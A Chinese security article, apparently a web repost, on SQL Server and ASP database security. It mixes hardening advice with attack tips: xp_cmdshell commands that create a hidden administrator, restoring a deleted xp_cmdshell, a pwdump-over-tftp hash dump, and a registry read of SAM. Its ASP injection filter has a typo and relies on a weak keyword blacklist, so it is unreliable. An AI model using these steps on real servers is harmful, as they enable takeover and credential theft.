時(shí)間:2015-06-28 00:00:00 來(lái)源:IT貓撲網(wǎng) 作者:網(wǎng)管聯(lián)盟 我要評(píng)論(0)
??? 從codered到nimda等,一大堆蠕蟲把原來(lái)需要人工利用的漏洞都變成了程序自動(dòng)利用了,大家還想去手工操作這些IIS漏洞么?讓我們調(diào)整重心,去看看服務(wù)器常用的數(shù)據(jù)庫(kù)吧。
??一般網(wǎng)站都是基于數(shù)據(jù)庫(kù)的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫(kù)來(lái)動(dòng)態(tài)顯示的網(wǎng)站。很多網(wǎng)站可能多注意的是操作系統(tǒng)的漏洞,但是對(duì)數(shù)據(jù)庫(kù)和這些腳本的安全總是忽略,也沒有太多注意。
??從最比較普遍的腳本問(wèn)題開始,這些都是老話題了,大家可以參考Hectic寫的《關(guān)于數(shù)據(jù)庫(kù)的簡(jiǎn)單入侵和無(wú)賴破壞,以天融信做例子》,該文章對(duì)從SQL腳本問(wèn)題說(shuō)得非常詳細(xì)。對(duì)于腳本安全的解決,也可以通過(guò)過(guò)濾來(lái)實(shí)現(xiàn),可以參考我以前寫的。對(duì)于ASP來(lái)說(shuō),可以使用下面這個(gè)過(guò)濾函數(shù):
Function?Filter_SQL(strData)
Dim?strFilter
Dim?blnFlag
Dim?i
strFilter="’,;,//,--,@,_,exec,declare"???’需要過(guò)濾的字符,可以自己添加,","是分隔符
blnFlag=Flase?????’過(guò)濾標(biāo)志,如果產(chǎn)生過(guò)濾,那么就是真
Dim?arrayFilter
arrayFilter=Split(strFilter,",")
For?i=0?To?UBound(arrayFilter)
??If?Instr(strData,arrayFilter(i))>0?Then
????blnFlag=True
????Exit?For
??End?If
Next
If?blnFlag?Then
??Response.Redirect?"wrong.asp"
??’當(dāng)發(fā)現(xiàn)有過(guò)濾操作時(shí),導(dǎo)向一個(gè)預(yù)定頁(yè)面。反正正常訪問(wèn)用不到的連接請(qǐng)求,總不是好事情。
Else
??Filter_SQL=strData
End?If
End?Function
??對(duì)于MS?SQL?Server數(shù)據(jù)庫(kù)來(lái)說(shuō),安全問(wèn)題不僅僅局限在腳本上了。"天殺的微軟"的系統(tǒng)性很強(qiáng),整個(gè)基于WINDOWS系統(tǒng)的應(yīng)用都有很強(qiáng)的關(guān)聯(lián)性,對(duì)SQL?Server來(lái)說(shuō),基本可以把數(shù)據(jù)庫(kù)管理和系統(tǒng)管理等同起來(lái)了。SQL?Server默認(rèn)的管理員帳號(hào)"sa"的密碼是空的,這給多數(shù)NT服務(wù)器產(chǎn)生一個(gè)安全漏洞。小榕的"SQLRCMD",就能夠利用獲得的數(shù)據(jù)庫(kù)管理員帳號(hào)執(zhí)行系統(tǒng)命令。
??在SQL?Server中有很多系統(tǒng)存儲(chǔ)過(guò)程,有些是數(shù)據(jù)庫(kù)內(nèi)部使用的,還有一些就是通過(guò)執(zhí)行存儲(chǔ)過(guò)程來(lái)調(diào)用系統(tǒng)命令。
系統(tǒng)存儲(chǔ)過(guò)程:xp_cmdshell?
就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語(yǔ)法是:xp_cmdshell?{’command_string’}?[,?no_output]
??xp_cmdshell在默認(rèn)情況下,只有?sysadmin?的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個(gè)執(zhí)行權(quán)限。在早期版本中,獲得?xp_cmdshell?執(zhí)行權(quán)限的用戶在?SQL?Server?服務(wù)的用戶帳戶中運(yùn)行命令??梢酝ㄟ^(guò)配置選項(xiàng)配置?SQL?Server,以便對(duì)?SQL?Server?無(wú)?sa?訪問(wèn)權(quán)限的用戶能夠在SQLExecutiveCmdExec?Windows?NT?帳戶中運(yùn)行?xp_cmdshell。在?SQL?Server?7.0?中,該帳戶稱為?SQLAgentCmdExec?,F(xiàn)在對(duì)于SQL?Server2000,只要有一個(gè)能執(zhí)行該存儲(chǔ)過(guò)程的帳號(hào)就可以直接運(yùn)行命令了。
??對(duì)于?NT?和?WIN2000,當(dāng)用戶不是?sysadmin?組的成員時(shí),xp_cmdshell?將模擬使用?xp_sqlagent_proxy_account?指定的?SQL?Server?代理程序的代理帳戶。如果代理帳戶不能用,則?xp_cmdshell?將失敗。所以即使有一個(gè)帳戶是master數(shù)據(jù)庫(kù)的db_owner,也不能執(zhí)行這個(gè)存儲(chǔ)過(guò)程。
??如果我們有一個(gè)能執(zhí)行xp_cmdshell的數(shù)據(jù)庫(kù)帳號(hào),比如是空口令的sa帳號(hào)。那么我們可以執(zhí)行這樣的命令:
exec?xp_cmdshell?’net?user?refdom?123456?/add’
exec?xp_cmdshell?’net?localgroup?administrators?refdom?/add’
上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個(gè)用戶:refdom
??當(dāng)我們獲得數(shù)據(jù)庫(kù)的sa管理員帳號(hào)后,就應(yīng)該可以完全控制這個(gè)機(jī)器了??梢姅?shù)據(jù)庫(kù)安全的重要性。
??下面這些存儲(chǔ)過(guò)程都是對(duì)Public可以執(zhí)行的:
xp_fileexist,用來(lái)確定一個(gè)文件是否存在。
xp_getfiledetails,可以獲得文件詳細(xì)資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname,可以獲得服務(wù)器名稱。
??還有可以操作注冊(cè)表的存儲(chǔ)過(guò)程,這些不是對(duì)Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權(quán)執(zhí)行:
Xp_regaddmultistring?
Xp_regdeletekey?
Xp_regdeletevalue
Xp_regenumvalues?
Xp_regread?(對(duì)Public可以執(zhí)行)
Xp_regremovemultistring?
Xp_regwrite
SQL?Server的安全配置
??除跟著微軟打滿所有補(bǔ)丁外,還需要加強(qiáng)數(shù)據(jù)庫(kù)的安全。
??首先,你需要加強(qiáng)象sa這樣的帳號(hào)的密碼,跟系統(tǒng)帳號(hào)的使用配置相似,一般操作數(shù)據(jù)庫(kù)不要使用象sa這樣的最高權(quán)限的帳號(hào),而使用能滿足你的要求的一般帳號(hào)。
??接著對(duì)擴(kuò)展存儲(chǔ)過(guò)程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲(chǔ)過(guò)程,都drop吧,一般也用不著。
執(zhí)行:
use?master
sp_dropextendedproc?’xp_cmdshell’
??去掉guest帳號(hào),阻止非授權(quán)用戶訪問(wèn)。
??去掉不必要的網(wǎng)絡(luò)協(xié)議。
??加強(qiáng)對(duì)數(shù)據(jù)庫(kù)登陸的日志記錄,最好記錄所有登陸事件。可以用下面的簡(jiǎn)單DOS命令來(lái)查看日志:
findstr?/C:"登錄"?d:\Microsoft?SQL?Server\MSSQL\LOG\*.*
??用管理員帳號(hào)定期檢查所有帳號(hào),是否密碼為空或者過(guò)于簡(jiǎn)單,比如下面的語(yǔ)句:
Use?master
Select?name,Password?from?syslogins?where?password?is?null
??用下面語(yǔ)句對(duì)所有帳號(hào),檢查對(duì)存儲(chǔ)過(guò)程和擴(kuò)展存儲(chǔ)過(guò)程的執(zhí)行權(quán),提防不必要的執(zhí)行權(quán)限擴(kuò)散:
Use?master
Select?sysobjects.name?From?sysobjects,?sysprotects?Where?sysprotects.uid?=?0?AND?xtype?IN?(’X’,’P’)?AND?sysobjects.id?=?sysprotects.id
??加強(qiáng)數(shù)據(jù)庫(kù)的安全是非常重要的,有的數(shù)據(jù)庫(kù)服務(wù)器是和WEB服務(wù)器隔離開的,這就同MAIL服務(wù)器一樣,數(shù)據(jù)庫(kù)的日志可能就基本很少去查看,這將會(huì)成為管理員的一個(gè)疏忽點(diǎn)。類似DNS、MAIL等等,數(shù)據(jù)庫(kù)服務(wù)器往往成為各種入侵的跳板。
??下面是一些關(guān)于數(shù)據(jù)庫(kù)的問(wèn)答和技巧:
1、獲得SA權(quán)限后,卻不能執(zhí)行xp_cmdshell存儲(chǔ)過(guò)程怎么辦?
??答:可能是已經(jīng)把xp_cmdshell等擴(kuò)展存儲(chǔ)過(guò)程刪除了,可以用這個(gè)存儲(chǔ)過(guò)程把xp_cmdshell恢復(fù)。
sp_addextendedproc?’xp_cmdshell’,?’xpsql70.dll’?
2、通過(guò)數(shù)據(jù)庫(kù)用pwdump獲得系統(tǒng)管理員密碼
先上傳一個(gè)pwdump
tftp?-i?
tftp?-i?
tftp?-i?
pwdump3?127.0.0.1?outfile.txt
tftp?
然后再用解密工具l0pht等等破解這些密碼。
3、從數(shù)據(jù)庫(kù)讀取系統(tǒng)管理員密碼。
??能讀出加密的密碼是NT的"administrator"帳號(hào)也不能做的,SQL?Server能讀出來(lái)是使用的"LocalSystem"帳號(hào),這個(gè)帳號(hào)比administrator更高一級(jí)??梢允褂孟旅孢@個(gè)存儲(chǔ)過(guò)程。不過(guò)讀出來(lái)的密碼是經(jīng)過(guò)加密后的,然后再解密吧。
xp_regread?’HKEY_LOCAL_MACHINE’,’SECURITY\SAM\Domains\Account’,’F’?
??當(dāng)然,數(shù)據(jù)庫(kù)服務(wù)器的安全和缺陷還有很多,還需要更多的研究。我對(duì)數(shù)據(jù)庫(kù)的學(xué)習(xí)還是起步階段,限于自己的水平,上面的難免有錯(cuò),歡迎大家指正和指教。
關(guān)鍵詞標(biāo)簽:IIS,SQL數(shù)據(jù)庫(kù)安全
相關(guān)閱讀
熱門文章 ISAPI Rewrite實(shí)現(xiàn)IIS圖片防盜鏈 IIS6.0下配置MySQL+PHP5+Zend+phpMyAdmin 在Windows服務(wù)器上快速架設(shè)視頻編解碼器全攻略 win2000server IIS和tomcat5多站點(diǎn)配置
人氣排行 XAMPP配置出現(xiàn)403錯(cuò)誤“Access forbidden!”的解決辦法 WIN2003 IIS6.0+PHP+ASP+MYSQL優(yōu)化配置 訪問(wèn)網(wǎng)站403錯(cuò)誤 Forbidden解決方法 如何從最大用戶并發(fā)數(shù)推算出系統(tǒng)最大用戶數(shù) Server Application Unavailable的解決辦法 報(bào)錯(cuò)“HTTP/1.1 400 Bad Request”的處理方法 Windows Server 2003的Web接口 http 500內(nèi)部服務(wù)器錯(cuò)誤的解決辦法(windows xp + IIS5.0)